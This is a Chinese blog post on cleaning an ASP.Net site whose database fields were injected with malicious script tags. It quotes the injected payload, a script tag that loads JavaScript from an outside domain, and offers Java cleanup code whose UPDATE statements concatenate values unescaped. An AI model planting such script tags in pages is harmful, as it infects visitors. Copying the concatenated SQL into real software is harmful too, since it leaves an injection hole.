`

ASP.Net网站数据库被挂马后手动清除一例

阅读更多

网站环境:

ASP.Net

 

感染现象:

1、数据库中数据被黑客严重破坏,并对大量数据字段写入代码例如:

uploadpic/dm/2006213164850.jpg<script src=http://99j4.org/0.js></script><script src=http://99j4.org/0.js></script><script src=http://99j4.org/0.js></script>



 

2、网站中大多数的ASP页面被植入带有木马的网址<iframe ......></iframe>等

 

分析:数据库中大多数的数据都是在原始数据后添加了一段脚本可以用正则表达式将这代码过滤后再重新写入数据库。

当然如果数据量小的话就不用再写程序来处理了,直接从数据库中删除木马代码即可。^_^

再将数据库网站中的ASP页面用杀马工具进行查杀

 

下边写了一段代码,可以对数据库中被感染数据进行清理

import java.sql.Connection;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import com.sea.database.DBCon;
import com.sea.database.DBConnectionManager;

public class VirusExp {
	public static String regex1 = "<script";
	public static String regex2 = "<[[^<|^>]*|[\b|\\s|\\w|=|.|:|\\{|\\}|\\(|\\)|<|>]*]*>";
	public static Pattern p1 = Pattern.compile(regex1);
	static Connection conn = DBConnectionManager.getIntance().getConnection(
			"dbpool");
	static DBCon dbcon = new DBCon(conn);

	public static String replace(String str) {
		Matcher m = p1.matcher(str);
		boolean b = m.find();
		String newstr = str;
		if (b) {
			newstr = str.replaceAll(regex2, "");
			System.out.println("处理字符串:" + str);
			System.out.println("\t>>:" + newstr);
		}
		return newstr;
	}

	/**
	 * 
	 * @param id
	 *            主键ID
	 * @param field
	 *            需要处理的字段名
	 * @param tablename
	 *            处理表名
	 */
	public static void updateTable(String id, String field, String tablename) {
		DBConnectionManager.getIntance();

		String sql = "";
		sql = "select " + id + " ," + field + " from " + tablename;
		System.out.println(sql);

		String[][] rs = dbcon.executeQueryString(sql);
		String v_id, v_field, newstr;
		int n = rs.length;
		if(n>10)		//测试时
			n = 10;
		for (int i = 0; i < n; i++) {
			v_id = rs[i][0];
			v_field = rs[i][1];
			if (v_field != null && !v_field.equals("")) {
				newstr = replace(v_field);
				sql = "update " + tablename + " set " + field + "='" + newstr
						+ "' where " + id + "='" + v_id + "'";
				dbcon.executeUpdate(sql);
			}
		}

	}

	public static void close() {
		dbcon.close();
	}

 

代码调用:

//		VirusExp.updateTable("主键","被挂马的字段名","表名");
		VirusExp.updateTable("v_id","v_url","v_videoinfo");
		VirusExp.updateTable("v_id","v_pic","v_videoinfo");

 

网页挂马清除工具可以用飞盾

 

仅供参考,如果哪位有更好的办法欢迎拿出来共享

 

  • 大小: 76.9 KB
1
0
分享到:
评论

相关推荐

    ASP.NET网络数据库开发实例精解

    构架数据库系统入门 网站的架设和服务器配置 建立和配置数据源 连接和操作数据源 ...使用ASP.NET操作数据库 断开式数据库访问 使用数据网格处理数据 常用ASP.NET模块 ASP.NET网络数据库开发 . . . . 附带实例

    ASP.NET数据库网站设计教程

    ASP.NET数据库网站设计教程是一门深入讲解如何使用ASP.NET技术构建与数据库交互的web应用程序的课程。这门教程包括了理论知识的讲解以及实践操作的示例,旨在帮助学习者掌握构建动态、数据驱动的网站所需的技能。 ...

    ASP.NET操作数据库实例

    ASP.NET是Microsoft开发的一种Web应用程序框架,主要用于构建动态网站、Web应用和服务。它结合了.NET Framework的强大功能,提供了丰富的服务器控件和事件驱动模型,使得开发者可以使用C#或VB.NET等语言轻松地进行...

    ASP.NET 4.5 数据库入门经典 第3版

    《ASP.NET 4.5 数据库入门经典》第三版是一本专为初学者设计的教程,旨在帮助读者快速掌握ASP.NET 4.5框架下的数据库编程技术。这本书以通俗易懂的方式介绍了诸多关键概念和实践技巧,使得读者即使在没有深入接触过...

    ASP.NET数据库网站设计教程(C#版)[孙士保][电子教案]

    ASP.NET数据库网站设计教程(C#版)[孙士保][电子教案] 第1章 ASP.NET基础 本章内容:C/S和B/S架构体系,静态网页与动态网页,.NET Framework简介,Visual Studio简介,ASP.NET网站的创建过程。 本章重点:ASP.NET...

    ASP.NET通用数据库访问组件

    ASP.NET通用数据库访问组件是一种软件开发工具,它提供了一种标准化的方法来访问各种类型的数据库,如MSSQL(Microsoft SQL Server)、MYSQL(MySQL Server)、ORACLE(Oracle Database)和ACCESS(Microsoft Access...

    ASP.NET网络数据库开发实例精解 源码

    《ASP.NET网络数据库开发实例精解》的配套源代码

    ASP.NET2.0数据库高级编程

    《ASP.NET 2.0 数据库高级编程》是Wrox出版社出版的一本深入探讨ASP.NET 2.0数据库开发的专业书籍。这本书旨在帮助开发者掌握在ASP.NET 2.0环境中进行高效、安全且灵活的数据库操作的核心技术。以下是一些关键知识点...

    ASP.NET配置数据库页面

    4. **SQL Server Express**:作为一个轻量级的数据库系统,SQL Server Express常被用于ASP.NET开发的本地数据库存储。它是SQL Server的一个免费版本,适合小型到中型的应用程序。 5. **ASP.NET Identity**:如果...

    ASP.NET网络数据库开发实例精解.part1

    ch11\Example_11_1~ Example_11_18 ---- 第11章中的ASP.NET网络数据库开发,如上传文件和下载文件、读、写和删除文件、同时上传多个文件、发送邮件、处理数据库中图片、使用ASP.NET创建任意图形等; ch12\Example_12...

    asp.net数据库操作类

    asp.net数据库操作类asp.net数据库操作类asp.net数据库操作类asp.net数据库操作类asp.net数据库操作类asp.net数据库操作类asp.net数据库操作类asp.net数据库操作类asp.net数据库操作类asp.net数据库操作类asp.net...

    ASP.NET与数据库程序设计

    ASP.NET与数据库程序设计是IT领域中的一个关键主题,它涉及到使用.NET框架,尤其是C#语言,来构建能够与各种数据库交互的Web应用程序。在这个领域,开发者需要掌握一系列技术和概念,以便有效地存储、检索和处理数据...

    ASP.NET网络数据库安全性浅析

    ASP.NET是微软开发的一种用于构建动态网站、web应用和web服务的框架。在涉及网络数据库安全性的场景下,ASP.NET提供了多种策略来确保用户数据的安全。本文将深入探讨ASP.NET中与网络数据库安全相关的几个关键知识点...

    asp.net 全能数据库

    【asp.net 全能数据库】是一个专为ASP.NET平台设计的高效、全面的数据库解决方案,旨在简化Web应用程序中对数据库的访问和管理。这个组件集成了多种数据库操作功能,为开发者提供了一站式的数据库交互体验。 ASP...

    ASP.NET存取数据库PPT

    ASP.NET程序设计

    ASP.NET网络数据库开发实例随书光盘

    在ASP.NET中,与数据库交互通常通过ADO.NET(ActiveX Data Objects .NET)来实现,这是一个数据访问组件集,支持多种数据库引擎,包括Access。Access数据库是Microsoft Office套件的一部分,适合小型到中型的数据...

    asp.net与数据库程序设计.rar

    《ASP.NET与数据库程序设计》是一本专注于使用ASP.NET技术进行数据库编程的教程。该压缩包包含的资源丰富,不仅有书籍的电子版,还有可能包括示例代码和其他辅助学习材料,适合对ASP.NET和数据库编程感兴趣的开发者...

    第5章ASP.NET数据库开发-ADO.NET数据库编程

    第5章ASP.NET数据库开发-ADO.NET数据库编程 操作环境VS2005

Global site tag (gtag.js) - Google Analytics